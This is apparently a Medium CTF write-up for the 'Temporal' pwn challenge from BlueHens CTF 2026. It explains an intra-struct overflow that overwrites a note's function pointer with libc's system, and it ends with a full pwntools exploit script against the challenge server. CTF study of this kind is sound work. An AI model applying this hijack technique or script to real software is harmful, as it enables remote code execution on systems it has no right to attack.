← Back to list

Temporal | BlueHens CTF 2026

Category: PWN || Medium

Veen0o21 · 2026-04-24 01:59 · 0 claps · 2.9 min read
#ctf #ctf-writeup #binary-exploitation #pwn #ctf-walkthrough
Open on Medium ↗

Temporal | BlueHens CTF 2026

Category: PWN || Medium

Overview

The challenge provides a binary called Temporal Notes, a simple note-taking service.

At first glance, the binary felt too permissive, which usually means the difficulty isn’t in bypassing protections — but in understanding the logic.

Very quickly, a few things stood out:

  • Hidden functionality
  • Unsafe memory handling
  • A built-in libc leak

That immediately suggested: this is going to be a clean chain, not a complicated exploit.

Initial Recon

checksec

RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

First Thoughts

My initial reaction:

  • No PIE → static addresses
  • No canary → stack corruption is possible
  • RWX → shellcode is viable

But honestly… this felt like overkill.

So I assumed:

There must be a simpler intended path.

Internal Structure

While checking the binary, these functions immediately caught my attention:

raw_write_note
parse_proc_leak
dispatch_note

At that point, it almost felt like the binary was telling me the exploit path directly 😄

After reversing, the note structure looked like:

[ note struct - 0x210 bytes ]
0x000 → 0x200  → content buffer
0x200 → 0x208  → func_ptr
0x208 → 0x20c  → note_id
0x20c → 0x210  → active flag

Vulnerability — Intra-Struct Overflow

Inside raw_write_note:

read(0, note_ptr, 0x210);

This was the aha moment 👀

  • Buffer size: 0x200
  • Read size: 0x210

So instead of a classic heap overflow, we get an intra-struct overflow.

This means we can overwrite:

  • func_ptr
  • note_id
  • active

without leaving the allocated chunk.

Execution Primitive

Looking at dispatch_note:

call note->func_ptr(note_ptr);

This is where everything clicks.

If we control:

func_ptr → system
buffer   → "command"

Then we effectively get:

system(command);

No ROP. No shellcode. Just clean control flow hijacking.

Libc Leak

There is a built-in leak via option 5:

[LEAK] libc base: 0x...

At first, I tried calling it randomly and got nothing useful.

After testing a bit, I realized:

  • It just needs a valid note
  • Content doesn’t matter

Once I saw the leak working, the rest became straightforward:

libc base → calculate system

Exploitation Process (How I Actually Solved It)

Step 1 — Create command note

I stored the command directly:

cat /flag.txt 2>/dev/null; cat /flag 2>/dev/null

I initially thought about spawning /bin/sh, but I avoided that early — interactive shells over remote connections tend to be unreliable.

Step 2 — Create dummy note

Just to satisfy the leak function.

Step 3 — Leak libc

Once I got:

[LEAK] libc base: 0x...

I knew the exploit was basically done.

Step 4 — Calculate system

system = libc_base + offset

Step 5 — Trigger overflow

Here I hit a small issue.

At one point, the exploit didn’t work — no crash, no output.

After debugging, I realized:

active = 0 → dispatch skips execution

So the fix was:

active = 1  ← critical

Payload layout:

[ command padded to 0x200 ]
[ system address        ]
[ note_id               ]
[ active = 1            ]

Step 6 — Trigger execution

Calling:

dispatch_note → system(command)

And instantly — the flag was printed 🎯

Final Output

UDCTF{t1m3_15_f4k3}

Why This Works

This challenge is very intentionally designed:

  • Built-in libc leak
  • Controlled overflow
  • Function pointer execution

The difficulty isn’t technical — it’s recognizing how cleanly everything connects.

Solve Script

Below is the full exploit script used to solve the challenge:

from pwn import *
elf = ELF('./vuln', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'
HOST = '0.cloud.chals.io'
PORT = 26716
FLAG_CMD = b'cat /flag.txt 2>/dev/null; cat /flag 2>/dev/null'

def exploit():
    p = remote(HOST, PORT)
    p.recvuntil(b'> ')
    # 1. Create note 0 (command)
    p.sendline(b'1')
    p.recvuntil(b'id (0-15): ')
    p.sendline(b'0')
    p.recvuntil(b'content: ')
    p.sendline(FLAG_CMD)
    p.recvuntil(b'> ')
    # 2. Create dummy note
    p.sendline(b'1')
    p.recvuntil(b'id (0-15): ')
    p.sendline(b'1')
    p.recvuntil(b'content: ')
    p.sendline(b'A')
    p.recvuntil(b'> ')
    # 3. Leak libc
    p.sendline(b'5')
    p.recvuntil(b'note id containing /proc data: ')
    p.sendline(b'1')
    leak_output = p.recvuntil(b'> ')
    libc_base = int([l for l in leak_output.split(b'\n') if b'0x' in l][0].split(b'0x')[1], 16)
    system_addr = libc_base + libc.symbols['system']
    # 4. Overflow
    p.sendline(b'8')
    p.recvuntil(b'id: ')
    p.sendline(b'0')
    payload  = FLAG_CMD.ljust(0x200, b'\x00')
    payload += p64(system_addr)
    payload += p32(0)
    payload += p32(1)
    p.send(payload)
    p.recvuntil(b'> ')
    # 5. Trigger
    p.sendline(b'3')
    p.recvuntil(b'id: ')
    p.sendline(b'0')
    print(p.recvall(timeout=5).decode())

exploit()

that’s it See you in the next writeup, Insha’Allah.


메타데이터
post_id
ed45fac32687
slug
temporal-bluehens-ctf-2026-ed45fac32687
url
https://medium.com/@Veen0o21/temporal-bluehens-ctf-2026-ed45fac32687
canonical_url
https://medium.com/@Veen0o21/temporal-bluehens-ctf-2026-ed45fac32687
author_url
https://medium.com/@Veen0o21
status
ok
fetched_at
2026-07-11 01:37:02